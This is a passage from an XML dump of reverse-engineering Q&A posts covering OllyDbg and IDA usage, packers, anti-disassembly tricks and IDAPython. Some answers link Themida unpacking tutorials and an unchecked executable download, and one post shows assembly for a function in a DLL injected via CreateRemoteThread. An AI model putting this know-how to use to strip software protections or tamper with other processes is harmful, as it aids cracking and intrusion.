LastActivityDate="2018-01-22T10:50:43.760" Title="What optics are used in Microsoft HoloLens?" Tags="|hardware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11507" PostTypeId="1" CreationDate="2015-12-11T12:30:50.187" Score="0" ViewCount="2765" Body="&lt;p&gt;I don't know if this is the right place to ask, but I can't seem to find it anywhere on the internet: How do I read a 96 column IBM system/3 punch card?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing an exercise but I can't seem to find a tutorial for this...thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="12424" LastActivityDate="2016-01-07T12:21:25.173" Title="Decode 96 column punch card" Tags="|binary-analysis|digital-forensics|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11508" PostTypeId="2" ParentId="11507" CreationDate="2015-12-11T13:32:19.740" Score="-1" Body="&lt;p&gt;The page &lt;a href=&quot;http://www.quadibloc.com/comp/cardint.htm&quot; rel=&quot;nofollow&quot;&gt;The Punched Card&lt;/a&gt; as extensive information on the history of punched cards and the encodings used. It contains everything that's necessary for decoding the IBM 96-column cards.&lt;/p&gt;&#xA;" OwnerUserId="14349" LastEditorUserId="10027" LastEditDate="2016-01-07T12:21:25.173" LastActivityDate="2016-01-07T12:21:25.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11509" PostTypeId="1" CreationDate="2015-12-11T13:34:52.840" Score="3" ViewCount="341" Body="&lt;p&gt;Recently I have found the article &lt;a href=&quot;https://dl.packetstormsecurity.net/papers/general/Using_UPX_as_a_security_packer.pdf&quot; rel=&quot;nofollow&quot;&gt;Using UPX as a Security Packer&lt;/a&gt;. Here, UPX is patched, after decompressing, also restores some overwritten bytes. This way, if somebody decompresses the binary with &lt;code&gt;upx -d&lt;/code&gt; in order to analyse it, will obtain a nonworking binary.&#xA;An other solution to prevent static analysis is to encrypt a part of the code and decrypt it at runtime using &lt;code&gt;mprotect&lt;/code&gt; from C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So actually both methods can be used to encrypt code, the only difference being, that in the first case the elf entry point is modified, and the stub restores the original code, in the second case the execution starts from the original entry point. The latter method seems to be more simple. If I want to protect my binary from disassembling, does the second method has any disadvantage compared to the first one? I think without antidebugging tricks both methods can be reversed the same way, and when decrypting is done memory can be dumped.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2016-05-18T12:39:42.177" Title="Self modifying codes" Tags="|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11510" PostTypeId="1" CreationDate="2015-12-11T17:00:36.297" Score="1" ViewCount="52" Body="&lt;p&gt;In order to study some malware detection algorithms I am developping in my PhD, I would like to know where I could download a list of malware websites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="14391" LastActivityDate="2015-12-11T17:00:36.297" Title="Where can I get a dataset of URLs of websites that diffuse malware?" Tags="|malware|websites|" AnswerCount="0" CommentCount="1" ClosedDate="2015-12-12T15:49:33.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="11511" PostTypeId="1" CreationDate="2015-12-12T01:33:49.067" Score="4" ViewCount="4439" Body="&lt;p&gt;So I am trying to reverse a program but I am not able to find any of the Strings through searching for &quot;referenced Strings&quot; or &quot;binary Strings&quot;, I am new to OllyDBG and I don't know a lot about it, which is why this is driving me crazy. I'd like to know how or where I can find the Strings then or if there is another method of finding a given Assembly Line where I could start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you already :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: If you need any more information, just ask and I'll deliver it.&lt;/p&gt;&#xA;" OwnerUserId="14393" LastEditorUserId="13606" LastEditDate="2015-12-14T21:45:56.223" LastActivityDate="2018-08-31T11:24:19.997" Title="Can't find &quot;referenced string&quot; in OllyDBG" Tags="|ollydbg|strings|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11512" PostTypeId="1" CreationDate="2015-12-12T02:20:57.870" Score="3" ViewCount="954" Body="&lt;p&gt;I understand the difference between static and dynamic linking, but is it possible by using IDA Pro, Ollydbg, or any other reversing tools to determine if an executable was dynamically or statically linked?&lt;/p&gt;&#xA;" OwnerUserId="13934" LastEditorUserId="1413" LastEditDate="2015-12-14T09:27:50.757" LastActivityDate="2015-12-14T09:27:50.757" Title="Dynamically v. Statically linked" Tags="|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11513" PostTypeId="2" ParentId="11512" CreationDate="2015-12-12T06:51:00.590" Score="6" Body="&lt;p&gt;There is no sharp difference between dynamically linked and statically linked, since it's always possible to link some libraries dynamically, and others statically, in the same binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, an application i &lt;del&gt;hacked&lt;/del&gt; reversed parts of recently (android, in this case, but only a thin java wrapper to a large binary) had over 20 open source libraries compiled into the binary, but still dynamically linked libc and a few other standard libs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a better question would be &quot;(How) can i determine if an application uses dynamic libraries at all, and if so, which ones?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux, the &lt;code&gt;ldd&lt;/code&gt; programm tells you about this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ldd /bin/ls&#xA;    linux-vdso.so.1 =&amp;gt;  (0x00007ffd14798000)&#xA;    libselinux.so.1 =&amp;gt; /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f40fd591000)&#xA;    libacl.so.1 =&amp;gt; /lib/x86_64-linux-gnu/libacl.so.1 (0x00007f40fd389000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f40fcfc4000)&#xA;    libpcre.so.3 =&amp;gt; /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f40fcd86000)&#xA;    libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f40fcb82000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007f40fd7b4000)&#xA;    libattr.so.1 =&amp;gt; /lib/x86_64-linux-gnu/libattr.so.1 (0x00007f40fc97d000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On Windows, use &lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;noreferrer&quot;&gt;Dependency Walker&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wE8L9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wE8L9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-12-12T06:51:00.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11516" PostTypeId="1" AcceptedAnswerId="11526" CreationDate="2015-12-12T20:11:44.363" Score="3" ViewCount="14699" Body="&lt;p&gt;I have Ubuntu 14.04 x64 and I am running Ida pro V6.6 in virtual box in windows 8 ... currently I want to debug some Linux elf's using Ida either via IDA linux remote server or gdbserver but I don't know how to set up such thing (remember Linux is the host and windows is the guest and IDA runs in windows)&lt;/p&gt;&#xA;" OwnerUserId="8437" LastEditorUserId="245" LastEditDate="2018-08-10T20:30:55.543" LastActivityDate="2018-08-10T20:30:55.543" Title="how to setup IDA pro linux GDB server" Tags="|ida|debugging|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11518" PostTypeId="2" ParentId="3919" CreationDate="2015-12-12T23:52:38.823" Score="0" Body="&lt;p&gt;This seems like a complete mapping of the bits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.mbirth.de/know-how/hacking/tassimo-barcodes.html&quot; rel=&quot;nofollow&quot;&gt;http://wiki.mbirth.de/know-how/hacking/tassimo-barcodes.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14401" LastActivityDate="2015-12-12T23:52:38.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11519" PostTypeId="1" CreationDate="2015-12-13T08:39:51.967" Score="2" ViewCount="928" Body="&lt;p&gt;I am reverse engineering a program that uses a custom auth protocol. This is a basic outline of the process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Client takes input for username and password, then sends username to the auth server.&lt;/li&gt;&#xA;&lt;li&gt;Auth server calculates a public key and responds with it.&lt;/li&gt;&#xA;&lt;li&gt;Client uses that key to calculate a session key, which is sent to the server. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The communication is all done via HTTP. My goal is to locate and analyze the functions responsible for calculating the session key. My most recent approach was to set a breakpoint on &lt;code&gt;ws2_32.recv&lt;/code&gt;, begin the login process, then step through the execution from the recv breakpoint to analyze how the public key was being used to calculate the session key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the breakpoint isn't triggered at the expected time. A breakpoint on &lt;code&gt;ws2_32.send&lt;/code&gt; is triggered as expected. I'm pretty stumped on this. Is there something I've overlooked? Is there a better approach to locating the functions?&lt;/p&gt;&#xA;" OwnerUserId="14403" LastEditorUserId="53" LastEditDate="2015-12-13T09:41:23.087" LastActivityDate="2016-07-11T17:47:54.390" Title="Analyzing a Login Process" Tags="|binary-analysis|debugging|dynamic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11522" PostTypeId="1" AcceptedAnswerId="11523" CreationDate="2015-12-13T16:56:14.523" Score="2" ViewCount="4201" Body="&lt;p&gt;I used PEiD &amp;amp; Stud_PE to get the packer/encrypter signature but unfortunately they didn't detect it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iJurl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJurl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;could someone help with this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;As @beatcracker said in comments, using ExeinfoPe says:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7W4D4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7W4D4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3183" LastEditorUserId="3183" LastEditDate="2015-12-13T18:33:35.090" LastActivityDate="2015-12-14T12:23:11.410" Title="What's the packer/encrypter used with this file" Tags="|disassembly|unpacking|packers|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11523" PostTypeId="2" ParentId="11522" CreationDate="2015-12-14T12:23:11.410" Score="3" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I used PEiD &amp;amp; Stud_PE to get the packer/encrypter signature but&#xA;unfortunately they didn't detect it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.exeinfo.xn.pl&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exeinfo PE&lt;/a&gt; has more recent signatures (beware of gifs, though).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; As @beatcracker said in comments, using ExeinfoPe says:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Detected Themida v2.x Inside, Themida Code on Section&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is there a native exe unpacker for Themida ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Themida is very hard to unpack (even the new driverless versions), there is a ton of protections options that can be enabled (see &lt;a href=&quot;http://www.oreans.com/ThemidaHelp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;), so I doubt that there is a generic unpacker in the wild.&lt;/p&gt;&#xA;&lt;p&gt;Try this tutotial: &lt;a href=&quot;http://forum.xentax.com/viewtopic.php?f=29&amp;amp;t=12953&quot; rel=&quot;nofollow noreferrer&quot;&gt;How Unpack Themida 2.x.x&lt;/a&gt;. It uses OllyDbg script which hides most of the complexity required to unpack\fix Themida.&lt;/p&gt;&#xA;&lt;h3&gt;References:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://forum.tuts4you.com/topic/34085-themida-winlicense-ultra-unpacker-14/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Original link to sript's author post on Tuts4You (requires registration to view)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Files from the post above (includes video converted to &lt;code&gt;exe&lt;/code&gt;, I've not checked it so be careful): &lt;a href=&quot;https://www.sendspace.com/file/9pu8z8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Themida - Winlicense Ultra Unpacker 1.4 - Tutorial.rar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://exelab.ru/F/index.php?action=vthread&amp;amp;forum=13&amp;amp;topic=16798&quot; rel=&quot;nofollow noreferrer&quot;&gt;Themida unpacking thread at eXeL@B forums (Russian)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12393" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-12-14T12:23:11.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11524" PostTypeId="1" AcceptedAnswerId="11525" CreationDate="2015-12-14T13:52:38.197" Score="2" ViewCount="1082" Body="&lt;p&gt;I'm testing malware that built from single EXE file and it doesn't load any other DLLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that EXE is register as COM object (I don't know how EXE can be COM object...). But when I run it and looking in procmon, I can see that it writes values to the registry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to open the EXE file with IDA Pro 6.8 / OllyDbg, and I can't see any &lt;code&gt;RegSetValue&lt;/code&gt; call or even reference (there is no load of Advapi32.dll).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that there is some hidden code that I can't see in these disassembles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is such hidden code how can I see it? And btw, how EXE can register as COM object at all?&lt;/p&gt;&#xA;" OwnerUserId="12789" LastActivityDate="2015-12-14T14:55:06.590" Title="Hidden code in dissasembly" Tags="|disassembly|malware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11525" PostTypeId="2" ParentId="11524" CreationDate="2015-12-14T14:55:06.590" Score="2" Body="&lt;p&gt;What you see is probably a &quot;packed/obfuscated&quot; malware. &#xA;There are many ways to &quot;hide&quot; RegSetValue from static analysis but my best guess is that what you see is &lt;strong&gt;Runtime API Address Resolution&lt;/strong&gt;:&#xA;&quot;There are two main types of API obfuscation. In the first type, all API function addresses are resolved before the main routine of the program begins. In the second, API function addresses are resolved individually at call-time. &#xA;You can read more about it from this  &lt;a href=&quot;https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/a_museum_of_api_obfuscation_on_win32.pdf&quot; rel=&quot;nofollow&quot;&gt;paper&lt;/a&gt; by Symantec.&#xA;If you want to &quot;see the code&quot; you would have to unpack it first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your second question there is a good discussion about it over &lt;a href=&quot;https://stackoverflow.com/questions/16463498/how-do-you-register-unregister-an-exe-as-a-com-object-from-c&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-12-14T14:55:06.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11526" PostTypeId="2" ParentId="11516" CreationDate="2015-12-14T15:32:51.133" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;Ensure that networking is enabled on the guest system and that it can communicate via TCP/IP with the host system.&lt;/li&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;&amp;lt;IDA installation directory&amp;gt;\dbgsrv\linux_serverx64&lt;/code&gt; to your host system and run it.&lt;/li&gt;&#xA;&lt;li&gt;Copy the target ELF binary to the guest system and load it into IDA (disassemble it).&lt;/li&gt;&#xA;&lt;li&gt;In IDA (on the guest system), go to &lt;code&gt;Debugger → Select debugger...&lt;/code&gt; in the menu bar and choose &lt;code&gt;Remote Linux debugger&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In IDA (on the guest system), go to &lt;code&gt;Debugger → Process options...&lt;/code&gt; in the menu bar and specify the hostname or IP of your host system, the debugging port used by &lt;code&gt;linux_serverx64&lt;/code&gt;, and the debugging password (if you specified one when running &lt;code&gt;linux_serverx64&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;In IDA (on the guest system), select &lt;code&gt;Debugger → Start process&lt;/code&gt; in the menu bar (or &lt;code&gt;Attach to process...&lt;/code&gt; if the target is already running on the host system).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Further references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1463.shtml&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/1463.shtml&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32tolinux.shtml&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/debugger/cross-win-linux/win32tolinux.shtml&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-14T15:32:51.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11527" PostTypeId="2" ParentId="11509" CreationDate="2015-12-14T15:44:35.380" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I want to protect my binary from disassembling, does the second&#xA;  method has any disadvantage compared to the first one?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The second method requires that you have access to the source code¹, whereas you can apply the first method if all you have is the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, before employing either (or both) of these methods, keep in mind that they're both trivial to overcome via dynamic reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;¹ &lt;em&gt;You don't actually &lt;strong&gt;need&lt;/strong&gt; the source code, but it's a much bigger pain to apply the first method relative to the second if you don't have the source code.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-14T15:44:35.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11528" PostTypeId="2" ParentId="11511" CreationDate="2015-12-14T15:49:46.993" Score="2" Body="&lt;p&gt;OllyDbg isn't very good at finding &quot;referenced strings&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a hex editor to search for the given string, in both ASCII and Unicode formats.&lt;/li&gt;&#xA;&lt;li&gt;If you find the static string in your hex editor, then disassemble the binary in IDA, go to the string's address in IDA, and see if IDA found any static cross-references to that string. And if IDA didn't find any static cross-references to that string, use OllyDbg to set a hardware-read-breakpoint on the first byte of that string to find what code references it at runtime.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-14T15:49:46.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11529" PostTypeId="2" ParentId="11519" CreationDate="2015-12-14T15:57:45.943" Score="1" Body="&lt;p&gt;Your program might be using &lt;code&gt;ws2_32.recvfrom&lt;/code&gt; instead of &lt;code&gt;ws2_32.recv&lt;/code&gt;. Or alternatively, it could be using one of the lower-level Winsock functions, such as &lt;code&gt;ws2_32.WSARecv&lt;/code&gt;, &lt;code&gt;ws2_32.WSARecvEx&lt;/code&gt;, &lt;code&gt;ws2_32.WSARecvFrom&lt;/code&gt;, or &lt;code&gt;ws2_32.WSARecvMsg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to try one of the following approaches to determine what the program is doing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use an API monitor such as &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;API Monitor&lt;/a&gt; to determine what networking functions are called.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx&quot; rel=&quot;nofollow&quot;&gt;Process Monitor&lt;/a&gt; to capture the network-receive events and double-click on those events to see the callstack.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-14T15:57:45.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11530" PostTypeId="2" ParentId="11511" CreationDate="2015-12-14T16:31:40.127" Score="0" Body="&lt;p&gt;Your program is either packed or strings are encrypted. Since strings can be a starting point in reverse engineering, some programs store encrypted strings in binary and only decrypt them at startup or right before usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, the easiest way to check is to attach the debugger to a running application and try to “Search for → All referenced text strings” in a main program module.&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2015-12-14T16:31:40.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11531" PostTypeId="1" CreationDate="2015-12-14T16:36:33.317" Score="5" ViewCount="380" Body="&lt;p&gt;I am trying to re-write the following function in my injected DLL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edi,edi&#xA;push ebp&#xA;mov ebp,esp&#xA;mov eax, [sound.dll+1AE0]&#xA;push eax&#xA;mov ecx,[ebp+08]&#xA;mov eax,[ecx]&#xA;mov eax,[eax+0C]&#xA;push eax&#xA;call sound.dll+7C640&#xA;pop ebp&#xA;ret 0004&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am loading my DLL via CreateRemoteThread. Is there a way to get the address of sound.dll+1AE0 (or linkage) when the DLL is loaded without having to to do GetModuleHandleEx and calculate the address dynamically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe with some imports or some linkage artifact?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GetModuleHandleEx approach will look like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DWORD mem1AE0=0; &lt;BR&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Load mem1AE0 with sound.dll+1AE0 address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then in my function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_declspec(naked) void MyFunction() { &#xA;    __asm { &#xA;        mov edi,edi &#xA;        push ebp &#xA;        mov ebp,esp &#xA;        mov eax, mem1AE0 &#xA;        mov eax, [eax] &#xA;        push eax &#xA;        mov ecx,[ebp+08] &#xA;        mov eax,[ecx] &#xA;        mov eax,[eax+0C] &#xA;        push eax &#xA;        call sound.dll+7C640 &#xA;        pop ebp &#xA;        ret 0004 &#xA;    } &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is when I have a call [sound.dll+XXXX] instruction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case I need to create a variable which will point to that memory&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DWORD memXXXX=0;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Load it with the correct address and also create a proxycall DWORD&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DWORD memXXXX_content=0;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and then do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push eax &#xA;mov eax, memXXXX &#xA;mov eax, [eax] &#xA;mov memXXXX_content, eax &#xA;pop eax &#xA;call memXXXX_content &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is totally inefficient unless I am doing somehting wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I believe there is no way to get static links if you are dynamically loading your DLL. &lt;/p&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="12793" LastEditDate="2015-12-28T22:55:36.950" LastActivityDate="2021-10-24T04:06:00.690" Title="Static Address in Dynamically Loaded DLL" Tags="|function-hooking|" AnswerCount="0" CommentCount="6" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11533" PostTypeId="1" AcceptedAnswerId="11534" CreationDate="2015-12-15T08:34:39.463" Score="9" ViewCount="5572" Body="&lt;p&gt;In the same way that &lt;code&gt;ScreenEA()&lt;/code&gt; returns the current cursor address, is there a way to &lt;em&gt;set&lt;/em&gt; the address? Something that would resemble &lt;code&gt;SetScreenEA()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14422" LastActivityDate="2022-08-22T15:23:28.737" Title="Is there a way to set the cursor address in IDA Pro?" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11534" PostTypeId="2" ParentId="11533" CreationDate="2015-12-15T08:53:13.797" Score="11" Body="&lt;p&gt;Use &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/194.shtml&quot;&gt;&lt;code&gt;Jump&lt;/code&gt;&lt;/a&gt; for IDC or &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#Jump&quot;&gt;&lt;code&gt;idc.Jump&lt;/code&gt;&lt;/a&gt; for ida python.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-12-15T08:53:13.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11535" PostTypeId="1" AcceptedAnswerId="11536" CreationDate="2015-12-15T12:13:21.353" Score="0" ViewCount="1580" Body="&lt;p&gt;I'm iterating through a list of heads returned by the &lt;code&gt;Heads()&lt;/code&gt; function, and for each head I want to check if the address contains a pointer (specifically a pointer to code). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the functions &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/179.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; but none of them seem to be relevant.&lt;/p&gt;&#xA;" OwnerUserId="14422" LastActivityDate="2015-12-18T02:12:18.197" Title="How can I check if an address contains a pointer?" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11536" PostTypeId="2" ParentId="11535" CreationDate="2015-12-15T12:52:11.570" Score="2" Body="&lt;p&gt;In idapython :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;idc.isOff0(idc.GetFlags(your_ea))&lt;/code&gt; - checks if the operand 0 of the entity at your_ea is the offset (which means pointer). &lt;code&gt;dd&lt;/code&gt; and &lt;code&gt;dq&lt;/code&gt; are the valid entities for such a request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;idc.isDword(idc.GetFlags(your_ea))&lt;/code&gt; or &lt;code&gt;idc.isQword(idc.GetFlags(your_ea))&lt;/code&gt; checks if this head defined as a value of corresponding size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this head's content is not marked as an offset, but you still want to check it - you can get its value and check it against code segment borders.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-12-15T12:52:11.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11537" PostTypeId="2" ParentId="11535" CreationDate="2015-12-15T13:04:28.847" Score="1" Body="&lt;p&gt;Using &lt;a href=&quot;https://sark.readthedocs.org/en/latest/&quot; rel=&quot;nofollow&quot;&gt;Sark&lt;/a&gt; you can:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sark&#xA;&#xA;for line in sark.lines():&#xA;    for xref in line.xrefs_from:&#xA;        if xref.type.is_flow:  # Make sure the xref is not to the next line.&#xA;            continue&#xA;        if sark.Line(xref.to).is_code:  # Check if the xref's target is code.&#xA;            print 'xref to code!'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://sark.readthedocs.org/en/latest/api/Xrefs.html&quot; rel=&quot;nofollow&quot;&gt;xrefs&lt;/a&gt; and &lt;a href=&quot;http://sark.readthedocs.org/en/latest/api/Lines.html&quot; rel=&quot;nofollow&quot;&gt;lines&lt;/a&gt; documentation.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="1485" 